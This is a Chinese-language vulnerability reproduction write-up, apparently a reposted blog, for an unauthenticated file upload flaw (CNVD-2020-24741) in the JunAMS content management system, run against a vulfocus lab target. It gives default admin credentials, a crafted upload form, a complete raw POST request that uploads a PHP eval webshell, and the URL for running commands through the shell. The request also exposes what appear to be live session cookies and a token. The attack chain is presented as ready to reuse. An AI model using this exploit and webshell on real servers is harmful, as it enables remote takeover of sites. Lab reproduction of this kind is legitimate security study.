junams 文件上传 (CNVD-2020-24741)复现

所有文章,仅供安全研究与学习之用,后果自负!

junams 文件上传 (CNVD-2020-24741)

0x01 漏洞描述

JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。 后台路径 /admin.php admin:admin

不用登录后台也可以利用

0x02 影响范围

JunAMS junAMS 1.2.1.20190403

0x03 漏洞复现

(1)访问靶场
在这里插入图片描述
(2)前台没有上传功能,进入后台

/admin.php
/admin.php/login/index.html
admin:admin 

在这里插入图片描述
如果显示正在处理 没有反应 F5刷新一下 进入

(3)
发现在系统设置->版本管理->添加表单中,发现文件上传功能
在这里插入图片描述
(4) 利用方法

在上边的 html源代码中
添加一个表单上传功能
action=" "的url地址需要修改

<form enctype="multipart/form-data" action="http://vulfocus.fofa.so:59218//admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

添加好后 点击 浏览-》 开启抓包-》 点击-》upload

上传文件请求包poc
也可以修改 ip和端口直接上传

POST //admin.php/common/add_images.html HTTP/1.1
Host: vulfocus.fofa.so:9461
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------326774743432415414462475084350
Content-Length: 267
Origin: http://vulfocus.fofa.so:9461
Connection: close
Referer: http://vulfocus.fofa.so:9461/admin.php/edition/add.html
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1636957776,1637035618,1637078936,1637219652; Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636704940,1636709021,1636825689,1637222671; _ga=GA1.2.744261971.1636781886; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1637221849; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ODQ1LCJ1c2VybmFtZSI6IllvdXRoQmVsaWVmIiwiZXhwIjoxNjM3MzA2MDA0LCJlbWFpbCI6IjI0NTU1NjQ2NEBxcS5jb20ifQ.4Gr7Mkd6jMvSpaNITDQoww0jUnSP1d59O34IpzyDpmI; PHPSESSID=7jrca24napuo1umgs5s58dfhvu; _gid=GA1.2.277758474.1637219810; ktqnjecmsdodbdata=empirecms; ktqnjeloginlic=empirecmslic; ktqnjloginadminstyleid=1; ktqnjlogintime=1637222551; ktqnjtruelogintime=1637222430; ktqnjloginuserid=1; ktqnjloginusername=admin; ktqnjloginrnd=5I62uWWbyxT9vB9Fi6FU; ktqnjloginlevel=1; ktqnjloginecmsckpass=35f1e6e02526a8193d735f89d9093f80; ktqnjloginecmsckfrnd=gkgk52G7rpQ6xWOHlfLWxgdFpG9; ktqnjloginecmsckfdef=N0VHyuu3ljnoPVbceYkXaX; ktqnjemecOYNqOjnu=BXWggMbbslguQiExvN; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1637222890; thinkphp_show_page_trace=0|0; eth0_time=1637226896; eth0_num=0; eth0=249.118; login_auto=YXs3g0Y%3D%7C0e2c7f3efd15db77ba3f2ec9ab35f8347cb5be0d
Upgrade-Insecure-Requests: 1

-----------------------------326774743432415414462475084350
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/octet-stream

<?php eval($_REQUEST[1]); ?> 
-----------------------------326774743432415414462475084350--

在这里插入图片描述

根据响应包的地址访问 上传后的文件

http://vulfocus.fofa.so:59218/public//edit//20211118//408b1894206d126f735d0c65ad74da2c.php?1=phpinfo();

上传成功
在这里插入图片描述
蚁剑连接成功
在这里插入图片描述

0x04 漏洞修复

升级至最新版本

总结

整个上传流程为:获取图片文件后缀、Mime类型、内容,当后缀为图片文件时,检测内容是否为图片,当后缀不为图片文件时,定义上传目录与文件名,上传成功,返回文件路径。
并且common方法没有受后台权限验证基类Backend限制,任意用户可访问,产生前台任意文件上传漏洞。

详细 漏洞利用分析 可以参考

https://www.cnblogs.com/cHr1s/p/14263008.html

おすすめ

転載: blog.csdn.net/YouthBelief/article/details/121403512